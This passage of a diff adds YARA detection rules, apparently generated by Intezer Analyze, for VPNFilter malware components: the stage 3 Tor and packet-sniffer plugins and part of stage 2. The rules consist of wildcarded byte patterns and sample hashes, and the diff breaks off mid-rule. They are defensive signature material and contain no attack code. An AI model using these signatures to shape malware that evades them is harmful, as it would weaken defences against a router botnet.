+		$block_80 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_81 = { 8B ?? ?? 39 ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 87 }
+		$block_82 = { 89 ?? 89 ?? C1 ?? ?? 88 ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 82 }
+		$block_83 = { 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? C1 ?? ?? F6 ?? ?? FC F3 ?? 89 ?? 89 ?? ?? ?? ?? ?? 74 }
+		$block_84 = { 31 ?? 89 ?? ?? ?? ?? ?? 8B ?? 0F B6 ?? ?? ?? ?? ?? 80 E? ?? 88 ?? ?? ?? ?? ?? 0F 84 }
+		$block_85 = { 0A ?? ?? ?? 4? 88 ?? F6 ?? 08 ?? C0 ?? ?? 34 ?? 0F B6 ?? 01 ?? ?? ?? ?? ?? 39 ?? 75 }
+		$block_86 = { 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_87 = { 0F B6 ?? ?? ?? 89 ?? 0F B6 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 08 ?? 4? 74 }
+		$block_88 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 81 C? ?? ?? ?? ?? 39 ?? 0F 87 }
+		$block_89 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_90 = { 8B ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 84 }
+		$block_91 = { 8D ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_92 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_93 = { 5? 89 ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_95 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_96 = { B8 ?? ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 8F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? ?? ?? ?? A9 ?? ?? ?? ?? 0F 84 }
+		$block_98 = { 5? 89 ?? 83 ?? ?? 83 ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_99 = { 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "0e0094d9bd396a6594da8e21911a3982cd737b445f591581560d766755097d92" or
+		hash.sha256(0, filesize) == "51e92ba8dac0f93fc755cb98979d066234260eafc7654088c5be320f431a34fa" or
+		12 of them
+}
+
+rule VPNFilterStage3PluginTor {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 31 ?? 83 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? F7 ?? 21 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 39 ?? 76 }
+		$block_1 = { 5? 8D ?? ?? 6A ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 83 ?? ?? B9 ?? ?? ?? ?? FC 89 ?? ?? ?? ?? ?? 89 ?? BF ?? ?? ?? ?? F3 ?? 74 }
+		$block_3 = { 6B ?? ?? DB ?? ?? ?? ?? ?? D9 ?? DE ?? D9 ?? D9 ?? DD ?? DF ?? DD ?? 9E 72 }
+		$block_4 = { DD ?? DD ?? DD ?? D9 ?? D9 ?? ?? ?? ?? ?? D9 ?? DD ?? DF ?? DD ?? 9E 72 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 88 }
+		$block_6 = { 89 ?? BD ?? ?? ?? ?? 99 F7 ?? 4? 83 ?? ?? 4? 88 ?? 83 ?? ?? 89 ?? 7E }
+		$block_7 = { D9 ?? D8 ?? D9 ?? C7 ?? ?? ?? ?? ?? ?? ?? DD ?? DF ?? DD ?? 9E 0F 86 }
+		$block_8 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_10 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 8D ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 8D ?? ?? B9 ?? ?? ?? ?? FC 89 ?? BF ?? ?? ?? ?? F3 ?? 74 }
+		$block_13 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 6B ?? ?? DB ?? ?? ?? ?? ?? D8 ?? D9 ?? DD ?? DF ?? 9E 76 }
+		$block_15 = { 8D ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 4? 0F 84 }
+		$block_16 = { D9 ?? ?? ?? ?? ?? D8 ?? D9 ?? DD ?? DF ?? DD ?? 9E 75 }
+		$block_17 = { 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? C9 C3 }
+		$block_18 = { 5? B8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "acf32f21ec3955d6116973b3f1a85f19f237880a80cdf584e29f08bd12666999" or
+		hash.sha256(0, filesize) == "afd281639e26a717aead65b1886f98d6d6c258736016023b4e59de30b7348719" or
+		12 of them
+}
+
+rule VPNFilterStage3PluginPacketSniffer {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? 31 ?? 31 ?? 8A ?? ?? 8A ?? ?? C1 ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 83 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 6A ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_2 = { 8B ?? ?? 8B ?? ?? 01 ?? 25 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 39 ?? ?? 0F 86 }
+		$block_3 = { 31 ?? 83 ?? ?? ?? ?? 0F 95 ?? 83 ?? ?? F7 ?? 21 ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 39 ?? 76 }
+		$block_4 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 89 ?? 8B ?? ?? 80 7? ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? 5? 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_6 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? BA ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8D ?? ?? ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_9 = { 05 ?? ?? ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? FF 9? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_11 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 29 ?? 8D ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 86 }
+		$block_12 = { 8B ?? ?? 83 ?? ?? C1 ?? ?? 83 ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 89 ?? 89 ?? FC C1 ?? ?? 31 ?? F3 ?? 8B ?? ?? 89 ?? ?? 8D ?? ?? B8 ?? ?? ?? ?? 5? 5? 5? 5? C3 }
+		$block_14 = { 8B ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_15 = { 8D ?? ?? 29 ?? 89 ?? ?? 5? 5? 5? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_16 = { 8B ?? ?? 5? 4? 5? 89 ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_17 = { 8B ?? ?? FC 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? 89 ?? C1 ?? ?? 8D ?? ?? F3 ?? F6 ?? ?? 89 ?? 74 }
+		$block_18 = { B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? 8B ?? ?? F3 ?? 0F 97 ?? 0F 92 ?? BF ?? ?? ?? ?? 38 ?? 74 }
+		$block_19 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? C1 ?? ?? 85 ?? 0F 84 }
+		$block_20 = { 8B ?? ?? C6 ?? ?? 5? 8B ?? ?? 5? 89 ?? 4? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { B8 ?? ?? ?? ?? BF ?? ?? ?? ?? 89 ?? 8B ?? ?? F3 ?? 0F 97 ?? 0F 92 ?? BF ?? ?? ?? ?? 38 ?? 75 }
+		$block_22 = { 8B ?? ?? ?? ?? ?? 09 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? ?? ?? ?? ?? 0F 87 }
+		$block_23 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? 83 ?? ?? 0F 86 }
+		$block_25 = { 8D ?? ?? ?? 89 ?? 31 ?? F7 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 80 B? ?? ?? ?? ?? ?? 0F 84 }
+		$block_26 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 83 ?? ?? ?? 0F 84 }
+		$block_27 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? C1 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 89 ?? ?? 0F 84 }
+		$block_28 = { 88 ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 80 F? ?? 19 ?? 83 ?? ?? 83 ?? ?? 3B ?? ?? 0F 85 }
+		$block_29 = { 8B ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_30 = { 8B ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_31 = { 83 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? F6 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_32 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_33 = { 8B ?? ?? 8B ?? ?? FC 89 ?? ?? 89 ?? ?? BA ?? ?? ?? ?? B8 ?? ?? ?? ?? 89 ?? 89 ?? F3 ?? 75 }
+		$block_34 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 31 ?? 8A ?? ?? 88 ?? 8D ?? ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_35 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_36 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 39 ?? 0F 82 }
+		$block_37 = { 66 ?? ?? ?? 89 ?? 8B ?? ?? 25 ?? ?? ?? ?? 83 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 66 ?? ?? 0F 84 }
+		$block_38 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_39 = { 8B ?? ?? 89 ?? 85 ?? 0F 94 ?? 25 ?? ?? ?? ?? 31 ?? 5? 89 ?? E8 ?? ?? ?? ?? 5? 85 ?? 0F 84 }
+		$block_40 = { 8B ?? ?? 8D ?? ?? 5? 83 ?? ?? 8B ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_41 = { 83 ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_42 = { 66 ?? ?? ?? 31 ?? ?? F9 9B 4? 6A ?? C1 ?? ?? ?? ?? ?? ?? A2 ?? ?? ?? ?? 28 ?? ?? EF 77 }
+		$block_43 = { 83 ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 5? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 83 ?? ?? 0F 84 }
+		$block_46 = { 8B ?? ?? 8B ?? ?? 01 ?? 5? 8B ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 39 ?? 0F 84 }
+		$block_47 = { 8B ?? 8B ?? ?? 01 ?? 89 ?? 3B ?? ?? 0F 92 ?? 25 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 75 }
+		$block_48 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_49 = { 83 ?? ?? 8D ?? ?? 8D ?? ?? 5? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_50 = { 5? 5? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_51 = { 8B ?? ?? 89 ?? 03 ?? ?? 0F B7 ?? ?? 01 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? 0B ?? ?? 74 }
+		$block_52 = { 8A ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_53 = { FC 31 ?? B9 ?? ?? ?? ?? 89 ?? F3 ?? 8B ?? ?? FF 5? ?? BA ?? ?? ?? ?? 89 ?? ?? 85 ?? 74 }
+		$block_54 = { 5? 5? 8B ?? 5? 8B ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_55 = { 83 ?? ?? BB ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_56 = { 83 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 0F 84 }
+		$block_57 = { 8A ?? ?? ?? 31 ?? 88 ?? 89 ?? 29 ?? 84 ?? 89 ?? 0F 94 ?? 39 ?? 0F 92 ?? 09 ?? 4? 74 }
+		$block_58 = { 5? 5? 6A ?? 8B ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_59 = { 8B ?? ?? 8B ?? 5? 8B ?? ?? 83 ?? ?? 5? 5? 8B ?? ?? 5? FF 5? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_60 = { 8B ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_61 = { 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 88 }
+		$block_62 = { 8D ?? ?? 8D ?? ?? 5? 8D ?? ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_63 = { 5? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_64 = { 8B ?? ?? B9 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_65 = { 8B ?? 83 ?? ?? 89 ?? 8D ?? ?? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_66 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_67 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 6A ?? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_68 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? 8D ?? ?? 8D ?? ?? 39 ?? 0F 87 }
+		$block_69 = { 8B ?? ?? 8B ?? ?? 5? 5? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_70 = { 0F B6 ?? 5? 8D ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 8D ?? ?? ?? ?? ?? 74 }
+		$block_71 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 4? 01 ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? 0F 8E }
+		$block_72 = { 89 ?? 31 ?? 8A ?? 31 ?? C1 ?? ?? 8A ?? ?? 09 ?? 8D ?? ?? 39 ?? ?? ?? ?? ?? 0F 82 }
+		$block_73 = { 80 B? ?? ?? ?? ?? ?? ?? 0F 95 ?? 08 ?? 0F 94 ?? 25 ?? ?? ?? ?? 4? 01 ?? 39 ?? 75 }
+		$block_74 = { 8B ?? ?? 8D ?? ?? 83 ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_75 = { 8D ?? ?? 8B ?? ?? ?? ?? ?? 5? 89 ?? 8B ?? ?? E8 ?? ?? ?? ?? 89 ?? 5? 85 ?? 0F 85 }
+		$block_76 = { 8B ?? ?? 89 ?? 89 ?? C1 ?? ?? 83 ?? ?? 0F A3 ?? ?? ?? ?? ?? ?? 0F 92 ?? 84 ?? 74 }
+		$block_77 = { 8D ?? ?? B9 ?? ?? ?? ?? 89 ?? ?? 31 ?? FC 8B ?? ?? F3 ?? 8B ?? ?? 3B ?? ?? 0F 8F }
+		$block_78 = { 05 ?? ?? ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_79 = { 8B ?? ?? ?? ?? ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_80 = { 5? 5? 68 ?? ?? ?? ?? A1 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_81 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? 89 ?? 0F AF ?? 85 ?? 7E }
+		$block_82 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? 8B ?? 89 ?? 0F AF ?? 85 ?? 78 }
+		$block_83 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_84 = { 5? 89 ?? 5? 5? 5? 83 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C1 ?? ?? 8B ?? ?? 39 ?? 0F 87 }
+		$block_85 = { 66 ?? ?? ?? 8D ?? ?? 89 ?? 81 E? ?? ?? ?? ?? FC 89 ?? C1 ?? ?? F3 ?? F6 ?? ?? 74 }
+		$block_86 = { 5? 5? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_87 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 85 ?? 0F 85 }
+		$block_88 = { 05 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 66 ?? ?? ?? 8D ?? ?? 89 ?? 81 E? ?? ?? ?? ?? FC 89 ?? C1 ?? ?? F3 ?? F6 ?? ?? 75 }
+		$block_90 = { 83 ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 88 }
+		$block_91 = { 31 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? ?? 4? D3 ?? 8B ?? 09 ?? 89 ?? 39 ?? ?? 0F 86 }
+		$block_92 = { 31 ?? 8A ?? 89 ?? 8D ?? ?? 6A ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 66 ?? ?? ?? 89 ?? 81 E? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_94 = { 5? 89 ?? 5? 5? 5? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 83 ?? ?? 0F 84 }
+		$block_95 = { 5? 6A ?? 5? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_96 = { 8B ?? ?? 8D ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 87 }
+		$block_97 = { 8D ?? ?? 31 ?? 8A ?? ?? 8A ?? ?? C1 ?? ?? 25 ?? ?? ?? ?? 09 ?? 83 ?? ?? 0F 86 }
+		$block_98 = { E8 ?? ?? ?? ?? 83 ?? ?? 0F 95 ?? 31 ?? 88 ?? 4? 81 E? ?? ?? ?? ?? 83 ?? ?? E9 }
+		$block_99 = { 5? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? BA ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "3df17f01c4850b96b00e90c880fdfabbd11c64a8707d24488485dd12fae8ec85" or
+		12 of them
+}
+
+rule VPNFilterStage2 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? ?? ?? 0F 85 }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 31 ?? 83 ?? ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_2 = { 8B ?? ?? 8B ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? 75 }
+		$block_4 = { B8 ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 8B ?? ?? 31 ?? 89 ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { FF 8? ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 8F }
+		$block_8 = { 8B ?? ?? 89 ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 89 ?? ?? 0F 85 }
+		$block_11 = { 89 ?? C1 ?? ?? F6 ?? ?? 0F 95 ?? 0F B6 ?? 01 ?? 89 ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
